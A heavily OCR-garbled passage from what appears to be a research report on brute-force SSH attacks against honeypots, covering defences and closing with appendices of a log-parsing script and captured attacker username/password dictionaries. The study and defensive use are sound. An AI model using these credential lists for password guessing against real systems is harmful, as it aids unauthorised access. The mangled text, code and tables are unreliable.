of can be readily configured to listen on altenmtports. We believe this situation
creates a great opportunity to hide the SSH serfnom attackers, much like the
proverbial needle in a haystack. Commonly-used po#nning tools such as Nmap
[NMO8] scan just over 1,600 ports by default, legvithe vast majority unexplored.
Moreover, a recent study of the relationship betwpert scans and attacks [PTO05]
concluded that more than 50 percent of the obseattadks were not preceded by a port
scan. Some will argue that this method is an exangdl “security by obscurity.”
However, we believe that running an otherwise wetiured SSH server on a
nonstandard high port can help reduce its vulnbtalid brute-force attacks without

exposing the server to additional risk. We alscertbat all three honeypots used in this
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study ran a second SSH server on a high port, wiviaé used for maintenance and
control purposes. No malicious login attempts dedcat the servers running on these
ports were observed during the same period thatentlban 150,000 attacks were
observed on the default SSH port. Asking legitenaders to remember the non-standard

port can be a small inconvenience.

Using TCP Wrappers or iptables to block IP addresse after repeated failed
login attempts. A number of intrusion prevention tools, such as ypéwsts [DEO0S],
BlockHosts [BLO6], and fail2ban [FAO07], have beemnroduced over the past several
years to help defend against brute-force passwoessing attacks. These tools work by
parsing system log files for failed login attempts a periodic basis, and then taking
action to lock out attacking IP addresses usingbipes, TCP Wrappers, or null routing
rules. The DenyHosts tool is focused on protectirey SSH service, while BlockHosts
can be used to protect both SSH and FTP serveesfail2ban tool is more flexible in

that it can be configured to protect SSH, FTP,\afab servers.

In addition to parsing log files for attacking IEdresses on the local machine,
DenyHosts also provides a synchronization functionugh which blocked IP addresses
on individual servers running the software worldevichn be synchronized with a central
server. Using this system, participating servera t& configured to periodically
synchronize their /etc/hosts.deny files with thetca server. In this way, attacks by
many blocked hosts can be prevented before thekattdas the chance to initiate even

one login attempt.

We found that over 93 percent of the 333 malicibuaddresses collected in our

study were listed in the /etc/hosts.deny file ofoaal server synchronized with the
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DenyHosts central database. Servers using thisiceewould therefore have been
protected from the vast majority of the attacksembsd in our study. On the other hand,
we observed a small number of attacks that apjpebe tspecifically designed to thwart
these systems, based as they are on the attatRemtddress. The fledgling attempts we
observed are clearly becoming more sophisticatedanticipate they will improve even

more in the coming months.

It should also be noted that there may be somerasinstive overhead associated
with managing systems like DenyHosts. Initial ifilsteon and configuration are quite
straightforward, in our experience. On the otherdhalepending on the number of users
involved, the effort required to restore servicelégitimate users who inadvertently lock

themselves out of systems after repeated logiar&slcould be significant.

Using iptables to restrict access to the SSH portybsource IP address.
System administrators can restrict network acceshd SSH port (and those of other
services) to specific source IP addresses or nkswdwy adding source address
restrictions to iptables firewall rules. A well-wign set of iptables rules, designed to limit
access to an SSH server to a set of authorizedldiresses, can be quite effective in
preventing brute-force attacks. For server indialtg where the source IP addresses are
known in advance, this method should work well. nrany installations, however,
restricting access to a set of known IP addressasmuat be feasible and would prevent
authorized users from logging in from unexpectezhimns. It should also be noted that
writing iptables rules can be a complex undertakengd poorly crafted rule sets may

inadvertently leave servers vulnerable to attack.
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Using port-knocking or single packet authorizationto restrict access to the
SSH server port. Iptables firewall rules can also be adjustedranfly, using tools such
as knockd [KNO8] or fwknop [FWO08], to allow SSH server access to specific IP
addresses. Access is granted based on predetersegeences of ICMP packets or a
specially-crafted UDP packet, respectively. Accagempts from IP addresses that do
not provide the required authorization packetsfitexed. In situations where the source
IP addresses of authorized users is not known waraz, port knocking or SPA can
provide added flexibility. These methods requiréerdl software with the correct
configuration to be installed on all systems useccannect to the SSH server. This
additional overhead and the inconvenience it pésessers may limit the feasibility of

this method in some organizations.

Requiring public-key authentication in place of paswords. SSH servers such
as OpenSSH [OPO07] support a variety of authentinatnethods. One commonly-used
method that virtually eliminates the threat of lerfdrce password guessing attacks is
public-key authentication. To use this method, siseust generate a public/private key
pair and place the public key in the appropridie dn the destination server. The private
key, in turn, must be stored on each client system which the user wishes to log in to
the server. To provide protection against brutedopassword attacks, the server’s

system administrator must also disable all passwas®d SSH authentication.

While public-key authentication is not always fédesibecause of the overhead
involved in generating and distributing keys, SS#ivers configured in this way are
virtually immune to brute-force attacks, providelll assword-based authentication is

disabled.
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Summary of recommendations. Overall, we find that a number of the
recommended techniques for defending against lhoute- attacks can be quite effective,
especially when used in combination. For installai in which password-based
authentication is a necessity, we believe that renfg strong passwords is the most
effective method for defending against brute-fo&&H attacks. Such a strategy should
include not only systems that rate the strengghastwords based on length and character
choice, but also by using a system such as cracekiib dictionaries of passwords
actually captured in honeypots or derived from oteeurces. We also recommend
avoiding the use of account names based on usestshbmes. Where possible, our data
indicated that running the SSH server on non-stahgarts is also quite effective.
Combining password checking with other techniquesighed to lower the profile of the
server or to reduce the volume of malicious logterapts should help to greatly reduce

the likelihood of system compromise by means ofdsfarce SSH attacks.
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6. Related Work

Several studies of SSH attack traffic have beeretdaklen in recent years [ANOG]
[RBO7] [SEO6]. In most cases, the study of SSHcattaaffic is part of a larger study,
which includes attacker activities following systesampromise. In our research, we
were narrowly focused on the malicious login ti@aftself, with the goal of developing a
deeper understanding of the tools and techniquedoged in brute-force SSH attacks
which, by many accounts, continue to represengaifsiant threat to networked Linux
systems [SAO7a]. We were not interested in obsgrsuccessful compromises. In fact,
we patched the OpenSSH server to prevent succdsgfob via the standard SSH port,

and we instituted a number of safeguards to protechoneypots from compromise.

Microsoft offers a Web-based tool [MI08] that allewsers to test the strength of
candidate passwords without sending their passwoves the Internet. We used the
Microsoft tool to test the strength of a numberpasswords collected in our research

activities.

There are a number of projects focused on passwefoedking, as well. Both
cracklib [CR08] and OpenWall's pam_passwdqc [PL@8pvide helper tools that
transparently perform password checking as usersgehtheir passwords on Unix-based
systems. Based on our early findings regardingnigespread use of attack dictionaries
of common usernames and passwords, we reached the taintainers of the cracklib
project in early January 2008 to offer the passwocdllected in our research for
inclusion in cracklib-words. We continue to providpdates to this list on a monthly

basis.
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7. Future Work

Deploying and managing low-interaction honeypotshsas those fielded in our
study is a fairly straightforward process. The woflaggregating and analyzing the data
collected is more labor intensive. We have devalopeset of software tools to support
automatic consolidation and analysis of honeypad& @ a central server. To date, we
have limited our data collection activities to hgpet systems deployed on our own

networks and those of other trusted researchersystdm administrators.

We envision developing a more robust toolkit thgdétem administrators could
easily download, install, and configure to colldata on malicious activity at their own
sites and contribute the data collected to a cesémaer housed at Clarkson University,
without the requirement for a high level of tru8tcess to the centralized database of
usernames/ passwords, similar to the central DestgHdatabase of malicious IP

addresses, would be made available to all particigsites.
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8. Conclusions

The armies of compromised computer robots, knowhasets, have received a
lot of attention over the past few years. To datest of that attention has been focused
on the compromised Windows machines thought to la¢@uhe ranks of botnet armies.
Until the results of eBay’s recent study of intdreacurity threats were publicized in fall
2007, little attention was paid to the role compised Linux systems might play in

supporting botnets.

Compared with systems running the Windows operasygiem, Linux systems
face a unique threat of compromise from brute-faattacks against SSH servers that
may be running without the knowledge of system awifoperators. Many Linux
distributions install the SSH service by defauttine without the benefit of an effective
firewall. Thus, otherwise conscientious system anilstiators who keep their systems
fully patched may fall prey to a system compromiseised by a carelessly chosen

password.

As we have shown in our testing of a captured S8slkit, even relatively
unskilled attackers can identify and attack SSHessron an entire Class B network in
only a few minutes. In addition, SSH brute-forcéacits are becoming increasingly
sophisticated in order to avoid detection by intsasdetection systems. Beginning with
some relatively crude efforts in January 2008 gpédise malicious login attempts among
a handful of different IP addresses, we have feerdence of increasingly sophisticated
coordinated attacks that use IP addresses digtdbatross an entire Class C network.

Thus, the number of login attempts originating frareingle IP address is reduced to the
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point that these attacks are practically indistisgable from routine authorized login
traffic. As a result, the necessity to enforceuble of strong passwords has become more

important than ever.

Our study results show that not all vulnerable wasds can be considered weak,
based on commonly-held beliefs of password stremifackers are using and sharing
attack dictionaries of username/password pairsiticatrporate a significant percentage
of apparently strong passwords. Using a passwoetkihg tool, especially one that
restricts systematic approaches to password sabeatan provide an extra measure of
protection against malicious login traffic, espégiwhen combined with other protective

measures designed to reduce the visibility of h#efacing servers.

Toward that end, we began providing the passwaosteated in our honeypots to
the maintainers of the cracklib project in Janua@@8 for inclusion in their cracklib-
words files, and we have established a schedulegflar monthly updates. Using the
automated system we developed for collecting dat¢al un malicious login attempts, we
plan to continue and expand this effort. As of muldrch 2008, the updated cracklib-
words lists that include our passwords have beembtbaded from SourceForge nearly

800 times.
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Appendix A

The following is the source code of the parse_lmgscript, described in Chapter 2.
R R

# parse_logs.py #

# #

# Parses log files from an SSH honeypot  #
# and stores data in MySQL database #
# #

B R R R R R B B B B R R T R
import os

import sys

import fileinput

import MySQLdb

import time

import datetime

year = time.localtime()[0]
def getUser( line ):
if line.find('invalid user') >= 0:
return (line.split())[10]
else:
return (line.split())[8]

def getPwd( line ):

bits = line.split()

tmp=""

i=6

while ( bits[i] != "from" ):
tmp += bits[i] + " "
i+=1

return tmp.strip()

def getinvalidUser( line ):
return (line.split())[7]

def getlP( line ):
pieces = line.split()
return pieces[len(pieces) - 1]

def get_month( mon ):
if mon =="'Jan":

num ="'01'

elif mon =="Feb"
num ='02'

elif mon =="'Mar"
num ='03'

elif mon =="Apr":
num = '04'

elif mon == 'May":
num = '05'
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elif mon =="'Jun":

num = '06'

elif mon == "Jul".
num ="'07'

elif mon =="Aug":
num ='08'

elif mon == 'Sep"
num ='09'

elif mon == 'Oct"
num ="'10'

elif mon == 'Nov":
num ="11'

else:
num ="'12'

return num

def get_dtg(mode, line):
# mode 1 returns a tuple
# mode 2 returns a string
global year
line_parts = line.split(":")
date_parts = line_parts[0].split()
month = get_month( date_parts[0] )
day_value = date_parts[1]
if len(day_value) == 1:
day ='0" + day_value
else:
day = day_value
minute = line_parts[1]
second = ((line_parts[2]).split())[0]
if mode == 1:
return datetime.datetime(year, int(month),
int(date_parts[2]), int(minute), int(second))
if mode == 2:
return str(year) + '-' + month + '-' + str(
date parts[2] + ' + minute + "' + second

def process_file(cur, last, f):
num_records =0
try:
getUserInfo = False
for line in fileinput.input(f):
dtg = get_dtg( 1, line)
if dtg > last and line.find( 'PW-ATTEMP
dtgroup = get_dtg( 2, line)
pwd = getPwd( line )
ip = getlP( line )
getUserInfo = True
elif getUserInfo and line.find('Failed
username = getUser( line )
cur.execute( "insert into logentry
%s, %s, %s)", (dtgroup, username, pwd, ip) )
#query = "insert into logentry valu
%s, %s)", (dtgroup, username, pwd, ip)
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T)>=0:

password’) >= 0:
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#print query

num_records += 1

getUserInfo = False
except IOError:

print "ERROR: Can't find input file. Outta here!"
sys.exit(1)
def main():
# Establish a connection to the local database
db = MySQLdb.Connect(host="localhost", user="wa Ido",

passwd="1a562d", db="sshdlogs")
cursor = db.cursor()

# Get the dtg for the last login attempt entry in the database
guery = "select max(dtg) from logentry;"

cursor.execute(query)

row = cursor.fetchone()

last_dtg = row|[0]

HHERHHH T T T R R R R HHHHHH R
# Check whether we need to process /var/log/aut h.log.0 #
AHH BB R R A T R R R B R R R

# First, get the dtg for auth.log.0
# and turn it into datetime format

tmp = os.path.getmtime("/var/log/auth.log.0");
auth_zero = datetime.datetime.fromtimestamp(tmp )
#print auth_zero

# If the dtg of the last entry is prior to the
# modification time of /var/log/auth.log.0
# then it needs to be processed
process_zero = last_dtg < auth_zero

# Process the old security log file, if require d
if process_zero:

f = "/var/log/auth.log.0"

process_file( cursor, last_dtg, f)

# Now, process the current security log file
f = "/var/log/auth.log”
process_file( cursor, last_dtg, f)

# Close the db
db.close()

if _name_ ==" main__ "
main()
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Appendix B

The following is a list of the usernames and pasdwdor Dictionary 66, described in
Chapter 3.

Username Password root alb2c3
root trustnol root la2b3c
root changeme root alb2c3d4
root gazwsx root la2b3c4d
root gazwsxedc root zxcvbnm
root gpwoeiruty root poiuyt
root 1g2w3e4r5t root poiuytrewq
root gwerty root pgowie
root admin root gpwoei
root 123456 root Zagxsw
root secret root aqgswdefr
root administrator root Zaxscdvf
root rpot root gawsedrf
root rpot123 root asdfgh
root rpotroot root asdfghj
root redhat root Ipkojihu
root 11111 root plokijuh
root 111111 root wasd
root l@#$%" root gwaesz
root pass123 root eszrdx
root root123456 root zsexdr
root backup root gawzse
root passwd root kenwod
root password root kenwood
root password

root master

root 12345

root user

root webadmin

root 1234

root 41b2c3

root 41b2c3d4

root 4bc123

root 4bcd1234

root 4bcd3fgh

root 4c4d3mid4

root 4c4d3mic

root 1g2w3edr

root 1g92w3e

root 1i203p

root i102p3

root abcl23

root abcd1234
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Appendix C

The three versions of Dictionary-168, describe@lvapter 3, are listed below.

Dictionary 168-a

Dictionary-168b

Dictionary-168c

Username Password Username Password Username Password
staff staff staff staff staff staff
sales dales splgs sales sales sales
recruit regruit recryit recruit recruit recruit
alias alias alins alias alias alias
office office office office office office
samba samba gamba samba samba sanjba
tomcat tpmcat tpmcat tomcat tomcat tomcat
webadmin webadmin webadmin webadmin wgbadmin weba dmin
spam spam gpam spam spam spdm
virus virus vifus virus virus virus
Cyrus qyrus gyruis cyrus cyrus cyrus
oracle ofracle orpcle oracle oracle oracle
michael nichael nichael michael michae] michael
ftp fip ftp ftp ftp ftp
test test telst test test test
webmaster webmaster vebmaster webmaster webmaster webmaster
postmaster postmaster postmaster postmasier postm aster postmaster
postfix postfix postfix postfix postmaster postfi X
postfix postgres postgres postgres postgres postg res
paul paul bayl paul Paul paul
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root rpot root root root root

guest guest guest guest guest guest

admin admin admin admin admir admin

linux limux linx linux linux linux

user iser Liser user user user

david david david david david david

web web web web web wel

web apache apache apache aplache apache
pgsql Rgsql qosal pgsql pgsql pgsql

pgsql mysql mysql mysql mysq| mysq|

info info info info info info

tony tony tony tony tony tony

core tore cote core core core
newsletter nesletter newsletter newsletter newsl etter newsletter
named named mamed named named named
visitor vis|tor visitof visitor visitor visitor

ftpuser ftpuser ftpdser ftpuser ftpuser ftpuser

username isername usgrname usefname username user name
administrator administrator adminigtrator administ rator administrator adminigtrator
library library librafy library library library

test test123 tept test123 test test123

root rpot123 rgot root123 root rootl23

root master rpot master root master

admin pdmin123 admin admin123 admin adminlp3
guest guest123 duest guestl23 guest guest123
master master master master master master

root vwebadmin oqt webadmin root webadmin
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root gdmin ogt admin root admin

root linux rgot linux root linux

root test rgot test root test

root vwebmaster rpo webmaster root webmaste

admin root hdmin root admin root

admin administrator admin adminigtrator admin adm inistrator
admin 12345 admin 12345 admin 12345

admin 123456 admin 123456 admin 12345¢

root 123456 oqt 123456 root 123456

root 12345678 foof 12345678 root 12345678

test test12345 test test12345 test test12345

test 13456 tes 123456 test 123456

webmaster 123456 webmaster 123456 welmaster 12345 6
username bassword usérname password usernaLne pass word
user password iser password user passworg

root gassword rpo password root password

admin password admin password admin passwo

test password test password test password

root dpache oot apache root apache

root ynix rpot unix root unix

root redhat rgot redhat root redhat

danny danny danny darjny dapny danny

alex alex ale alex alex alex

brett brett brett brett brett brett

mike mike mike mike mike mike

alan alan alan alan alan alan

data Hata Hata data datal data

C
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www-data www-data www-data www-data wwyv-dlata WWW- data
http http hitp http http http

httpd hitpd hitpd httpd httpd httpd

pop pop ppp pop ppp pop
nobody hobody ngbody nobpdy nohody nobodyj

root Ipgin rqot login root login

backup backup backup backup backup backup

info 123456 infd 123456 info 123456

shop shop shop shap shpp shop

sales dales splgs sales sales sales

web web web web web weld
WWW WWW WWW WWW WWW WWW
wwwrun wwwrun wwwrun wwwrun vwwrun WWyWwrun
adam adam adam ddam adam adam
stephen dtephen stephen stephén stephen stephen

richard righard richard richard richard richard

george george jeogrge george george george

john jphn john john john john

news news news ngws rews news
angel angel angel ange ange angel

games games games games james ganjes
pgsql pgsql123 pasql pgsqll23 pgsql pgsql123

mail mail mall mail mail malil

adm adm adm adm agdm adm
ident ident iden ident ident ident

webpop webpop webpop webpop wehpop webpop
susan susan susan susan sugan susan

C
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sunny sunny sunny sunny sunny| sunny

steven gteven steven steven stever steven

ssh ssh sgh ssh ssh ssh

search gearch gearch search search search

sara sara sarna sara sara| sara

robert rqbert robbert robert robert robert

richard righard richard richard richard richard

party party party party party party

amanda amanda amanda amanda amanda amanda

amanda rpm rpm rpm rpm rpm

operator operator operator operator operator oper ator

sgi 3qi $qi sqi sqi sqi

sgi $shd sshd sshdl sgi sshd

users users usgrs users users users

admins admins admins admjins adming admins

admins 123456 admins 123456 admins 123456

bin bin DN bin bin bin

daemon daemon daemon daemon Hagmon daemon

Ip p p Ip Ip Ip

sync 5ync syhc syng synic sync

shutdown shutdown shytdown shutdown shutdown shut down

halt halt halt halt halt halt

uucp uucp udicp uugp uuep uucp

uucp smmsp gmmsp simmsp smmsp snmmsp

dean dean dean dean dear dean

unknown unknown unknown unknown unknown unknown

securityagent secprityagent securityagent security agent securityagent securifyagent
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tokend tpkend tokenfd tokend tokend
windowserver windowserver wirjdowserver windowserve r windowserver winglowserver
appowner hppowner appowner appowner appbwper appo wner
xgridagent xgridagent xgriglagent xgridagent xgrid agent gridagent
agent agent Jigent agent agent agent
xgridcontroller  xgridgontroller xgridcontrollgr  xg ridcontroller xgrldcontroller  xgridcontroller

jabber jabber jabber jabber jabber jabber

amavisd amavisd hmiavisd amayisd amayisfl amavisd

clamav clamav clamav clamav clamay clamav

appserver appserver appserver appserver appserver appserver
mailman mailman mdilman mailman mailman mailman
cyrusimap cyrusimap cyrusimap cyrusimap cyrusimap cyrusimap
gtss qtss qtss gtss gtss gtss

eppc eppc eppc eppc eppc eppc

telnetd te|netd telnieta telnetd telnetd telnetd

identd identd identd identd identd identd

gnats gnats gndts gnatg gnatg gnats

jeff jeff jeff jeff jeff jeff

irc inc ire irc irc irc

list list list list list list

eleve eleve gleye eleve eleve eleve

proxy proxy proxy proxy proxy proxy

sys 5YS Sys sys SYS Sys

777 vzz zzp 777 277 777

frank fiank frank frank frank frank

dan dan dan dan dan dan

james ames james james james james




snort short sr|1ort snort snort snort

radiomail ragliomail radipmgil radiomail radiomail radiomail
harrypotter harfypotter harrypotter harrypotter arrypotter harrypotter
divine divine divine divine divine divine

popa3d popa3d papa3d popa3d popa3Bd popa3d

aptproxy aptproxy apfprpxy aptproxy aptproxy aptp roxy
desktop desktop desktop desktqp desktop desktop

workshop workshop vorkshop workshop workshop work shop
workshop mailnull mailnull mailnull mailnull mail null
workshop r||fsnobody nfsnobody nfsnohody nfsnobpdy nfsnobody
workshop dpcuser rpcyser rpcuser rpcuser rpcuser

workshop Apc po rpc rpc rpc

gopher g{;opher popher gopher gopher gopher
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Appendix D

The following is a list of the usernames

Dictionary-373, described in Chapter 3.

Dictionary-363

and pasdwofor Dictionary-363 and

Dictionary-373

Username Password Username Password
root admin rogt dumn3z3u
root apple root 0767390145
apple apple adrin 0761390145
root frian admin dumn3z3u
brian brian test dumn3z3u
root andrew test 0767390145
andrew andrew user dumn3z3u
root rewsroom user 0767390145
newsroom newsroom userl 0729551027
root magazine userl 0767390145
magazine magazine userl dumn3z3u
root research Lser| 1qazsffg
research research serl 1lqazsdfg
root gjohnson mail 0767390145
cjohnson cjohnson mail 1lqgazsdfg
root gxport mail dumn3z3u
export export oot admin
root ghoto roo apple
photo photo apple apple
root gast roo brian
gast gast brian brian
root murray roo andrew
murray murray andrew andrew
root falcon root newsrgom
falcon fglcon newsroom newsrpom
root fly root magazine
fly fly magazine magazine
root gerry root research
gerry gerry resgarch research
root test root cjohnson
root testl cjohnson cjohnspn
root teste root export
root rpot export export
root duest root photo
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root temp photo photp
guest guest root gast
test test gast gast
testl testl oot murray
teste teste murray murray
admin admin ropt falcan
postgres postgres falcon falcon

root rpot123 root fly
webmaster webmaster fly fly

web web root gefry
http http gerry gerry
httpd httpd root test
WWW WWw root testl
www1 www1 root telste
root 12345 rogt root
root 123456 rogt guest
ftp fip root temp
ftpuser ftpuser guest guest
data Hata test test
oracle oracle testl testl

root dgracle leste teste
user iser admin admin
root User postgres postgres
root install root root123
install install webmaster webmaster
root linux web web
linux linux http http

root service httpd httpd
service service WWW WWW
root demo wywwl wwwl
demo demo oot 12345
root mysql root 123456
mysq| mysq|l ftp ftp

root password ftpuser ftpuser
password password data data
root pass ordcle oracle
pass pass ropt oracle
root gystem user user
system system rogt user
temp templ123 root install
root fedora install install




fedora fedora root linux
falcon fglcon linux linux

root falcon root service
root docolino service service
cocolino cqcolino rgot demo
server server demp demg
root gerver root mysql

root master mysql mysql
master master roof password
root www-data password passyord
www-data www-data root pass
root andrew pass pasq
andrew andrew ropt system
root gostmaster system system
postmaster  postmaster temp templ123
testuser testuser ropt fedora

tester tester fedora fedora

root testuser falcon falcon

root tester oot falcon

root Knoppix root cocolino
knoppix knoppix cocalino cocoling
root design server server
design design root servel
root public oot master
public public master master

root 24021988 root www-{data
root fagaras Wwww-data www-fata
root goiuytrewq root andrew
root dwertyuiop andrew andrew
root dazwsxedcrfvtgbyhnum rqot postmaster
root gdazwsxedc pogtmaster postmaster
root gsxesz tesfuser testuser
root qlw2e3rd tester tester

root q2w3e4r5 roof testuser
root Jwsx3edc root tester
root lqwe23 rogt knopppix
root Qplmnko9 kngppix knopgix
root 7yhn roqgt design
root Stgb6yhn design desigrn
root dwerty123 root public

root rpot public public
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root oot root 24021988
root lgaz2wsx root fagaras
root lga2ws root poiuytrewq
root lga2ws3ed rogt gwertyuiop
root lgaz2wsx3edc root gazwsxedcrfvtgbyhnum
root Qo9i8u7y root gazwsxedc
root Qok9ij oot gsxesz

root gpoeiruty rpot qlw2e3rd
root changeme root q2w3e4rs
root www123 rgot 2wsk3edc
root 123www rgot 1gwe23
root gdpwoeiruty root Oplmnko9
root rpot123 root 7yhn

root rootl root 5tgh6yhn
root rpot! foot qwerty[123
root root! @# root root

root rootl234 root r@ @t

root root! @#$ root| 1gaz2wsx
root |@#$ ropt 1gadws
root o# ropt 1ga2ws3ed
root 123 rogt 1lgazRwsx3edc
root 1234 rogt 009i8u7y
root 12345 roqgt 0ok9jj

root 123456 rogt gpoejruty
root 1234567 rogt changeme
root rpotroot root www123

root rpotpass oot 123www
root rootuser root gpwoeiruty
root userroot root root123

root dwerty root rootl

root qlw2e3rd root root!

root l1g2w3edr root root! @#
root qwerl234 root rootl234
root abc123 root root! @#$
root 123abc rogt 1@#%

root la2b3c4d roof |@#

root dawsed root 123

root Zxcvbnm rogt 1234

root asdfgh root 12345

root 3 root 123456
root dbc roqgt 1234567
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root abcdef root rootropt
root qwel23 rogt rootpass
guset 123gwe ropt rootuser
root qlw2e3 rogt userfoot
root 1g2w3e rogt gwerty
root pass1234 roo glw2e3r4
root 1111 rogt 1q92w3e4r
root 111111 rogt gwerl234
root 11111 roqt abcl1p3
root daa root 123abc
root rpotabc root la2b3¢4d
root 123root123 oot gawsed
root rpot# root zxcvbnm
root 1@#$% rgot asdfgh
root |@#5%" ropt a

root pass123 root abc

root dbc roqgt abcdef
root gbcde rogt gqwel?23
root dbcdef gusgt 123qwe
root abcdefg root gqlw2e3
root dbcdefgh root 1g2w3e
root abcdefghi oot pass1234
root default root 1111

root pg@sswOrd root 111211
root p@ssword ropt 11111
root password roo aaa

root pa$$word root rootalpc
root gas55word root 123rgot123
root gas55wO0rd root root#

root kx028897chebeuname+a root |@#%$%
root dsdfghijkl root |@#3$%

root Ikjhgfdsa root pass123
root mnbvcxz rogt abc

root zZxcvbnm roqgt abcde
root Zsexdrcft root abcdef

root wsxedcrfvtgb root abcdefg

root gwdefr root abcdefgh
root dgswde root abcdefghi
root Zdxfcgvh root default

root q9glw2e3i8u7 root p@ssword
root 3edc4rfvstgb root p@ssword
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root Bhunjimkolp rpot passwQrd

root rpot12345 root pa$$word

root rpotrootroot root pa55word

root rootadmin oot pa55wprd

root pgulamea root kx028897chebeuname+a
root pgolamea root asdfghjkl

root rpot root Ikjhgfdsa

root rpotl root mnbvgxz

root rpotl2 root zxcvbnm

root root123 root zsexdllcft

root root1234 root wsxedgrfvtgb
root root12345 root swdefr

root rpot123456 oot agswde

root rpot1234567 oot zdxfcgyh

root rpot12345678 oot 09g1lwpe3i8u7
root rpot123456789 root 3edc4rfvstgb
root garolanoua root bhunjimkolp
root parola root root12345
test test root rootrogtroot
test test123 foot rootadmin

test tests root pulamea

test 123456 root rootl

guest guest roog rootl?

guest 123456 root rootl23
admin admin ropt root1234
admin admins roopt root12345
user iser roqt root123456
user 123456 root root1234567
cyrus qyrus roof root12345678
mysq| mysq|l root root123456789
emily gmily root parolanoua
emma emma root parola
madison madison test test123
hannah hannah test testg

hailey hailey test 123456

sarah sarah guest 123456
kaitlyn kajtlyn admin admins

isabella isgbella user 123456

olivia olivia cyrus cyrus

abigalil abigalil mysq| mysq|
madeline madeline emily emily
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kaylee kaylee emma emma
alyssa alyssa madison madison
grace g{;race hannah hannah
sophia dophia hailey hailey
lauren lauren saran sarah
brianna brianna kaitlyn kaitlyn
alexis alexis igabella isabella
sydney sydney oliyia olivia
megan megan abigail abiggil
chloe ¢hloe madeline madeline
ashley ashley kaylee kaylee
samantha samantha alyssa alyssa
taylor taylor grace grace
elizabeth elizabeth sophia sophia

anna anna lguren lauren
ana ana brianna brianna
mia mia alexis alexis
kayla Kayla sydney sydney
makayla makayla megan megan
riley riley chloe chloe

zoe zoe ashley ashley
jordan jardan samantha samantha
kylie kylie taylor taylor
allison alljson elizabeth elizabeth
katherine katherine anna anna
tachel rachel ana ana

lily lily mia mia

ella ella kayla kayla
julia julia makayla makay!d
isabelle isgbelle riley riley

natalie ngtalie zoe zoe
morgan morgan jordan jordan
ava ava kylie kylie
mackenzie mackenzie alligon allison
victoria victoria kathering katherine
paige paige tachel rachel
abby abby lily lily
jessica jessica ella ella
jasmine jasmine ulia julia
savannah savannah isabelle isabelle
arianna afianna natalie natalie
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maya maya norgan mprgan
brooke brooke ava ava
rebecca rebecca mackenzie mackenzie
katie katie victofia victoria
alexandra alexandra paige paige
jenna jenna abhy abby
gabriella gabriella jessijca jessica

bailey bailey jasmine jasmine
destiny destiny savannah savannah
trinity trinity arianna arianna

avery avery maya maya
caroline caroline brpoke brooke
nicole nicole rebegca rebecca
faith faith katie katie

erin erin alexandra alexandra
amanda amanda jenna jenna
gabrielle gabrielle gabriellg gabriella
audrey audrey bailey bailey
molly molly destiny destiny
sophie dophie trinity trinity
alexa alexa avery avery
claire claire cdroline caroline
aaliyah aJiIiyah njcole nicole

leah leah faith faith

kate kate erif erin
skylar skylar amarnda amanga
mckenna mckenna gabrielle gabrielle
kennedy ennedy audrey audrey
peyton peyton molly molly
lindsey lindsey sophie sophie
ashlyn ashlyn alexa alexa
carly carly ¢laire claire
marissa marissa aaliyah aaliyah
gracie gracie leah leah
sierra sierra kate kate

lillian lillian skyla skylar

jillian jilliah mckehna mckenna
reagan fleagan kennedy kennedy
shelby shelby peyton peyton
amelia dmelia lindsey lindsey
jada jada ashlyn ashlyn




kendall kendall carly carly
courtney courtney marigsa marissa
brooklyn brooklyn gracie gracie
autumn autumn sierra sierrg
mary mary lillian lillian
amber amber jillian jillian
maggie maggie reagan reagan
danielle danielle shelby shelby

ben ben amelia amelia
jacob jacob jada jada
aidan aidan kendall kendall
ethan ethan courtney courtrjey
matthew matthew brooklyn brook|yn
nicholas nicholas aliturmn autumn
joshua joshua mary mary
ryan yan amber amber
michael michael maggie maggie
zachary Zachary danijelle danielle
tyler tyler ben ben

dylan dylan jacob jacob
andrew andrew aidan aidan
connor g¢onnor ethan ethar
jack jack mafthew matthew
christopher chrjstopher nichiolas| nicholas

caleb galeb joshua joshua
alexander alexander ryan ryan
logan Ipgan mighael michael
jayden jayden zachary zachary
nathan nathan tyler tyler
noah noah dylan dylan
joseph joseph andrew andrew
benjamin benjamin connor connor
daniel daniel jack jack
william william christapher christopher
anthony anthony caleb caleb
cameron cameron alexander alexgnder
james ames logan logan
austin apstin jayden jayden
jackson jackson nathan nathar
justin justin noah noah
brandon brandon joseph joseph
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john jbhn benjamin benjamin
daniel danijel
william william
anthony anthony
gameron ca|mer0n
james james
gustin austin
jackson jackson
justin justin
hrandon brandon
john john
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Appendix E

The following is the list of 3,342 words from aefihamedommon which was contained

in the webmin toolkit, described in Chapter 4.

000
0000
00000
000000
0000000
00000000
111
1111
11111
111111
1111111
11111111
123
1234
123456
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933

1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982

1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
222
2222
22222
222222
2222222
22222222
333
3333
33333
333333
3333333
33333333
444
4444
44444
4444444
44444444
555
5555
55555
555555
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5555555
55555555
666

6666
66666
666666
6666666
66666666
777

7777
77777
777777
7777777
77777777
888

8888
88888
888888
8888888
88888888
999

9999
99999
999999
9999999
99999999
aaa
aaaa
aaaaa
aaaaaa
aaaaaaa
aaaaaaaa
aaron
aarti

abc
abdenace
abdol
abdul
abdulkaf
abdullah
abdur
abhijit
abhiram
abraham
abrar
acacia
academia
academic
accept

access
ada
adam
adel

adi

adib
adine
adm
admin
adrian
adrianna
adrianne
adrien
adrienne
adult
aeneas
aerobics
afrid
aggie
agnes
ahidee
ahmed
ahmet
aileen
aimee
airplane
ajai

ajay
akhil
akiko
alain
alamgir
alan
alastair
alayne
albany
albatros
albert
alberto
alejandr
alena
alert
alessand
alex
alexande
alexandr
alexendr
alexia
alf



alfred
algebra
ali

alias
aliases
alica
alice
alicia
alisa
alison
allah
allan
allen
allison
alok
alpha
alphabet
altaf
althea
alva
alvin
alyson
ama
amadeus
amanda
amar
amarijit
amarpree
amber
ami
amos
amril
amy
an-jen
anal
analog
anant
ananth
anastasi
anchana
anchor
anders
andi
andre
andrea
andreas
andrew
andrzej
andy
aneliese
angel
angela
angerine
angie
ani

anil
animals

anis
anita
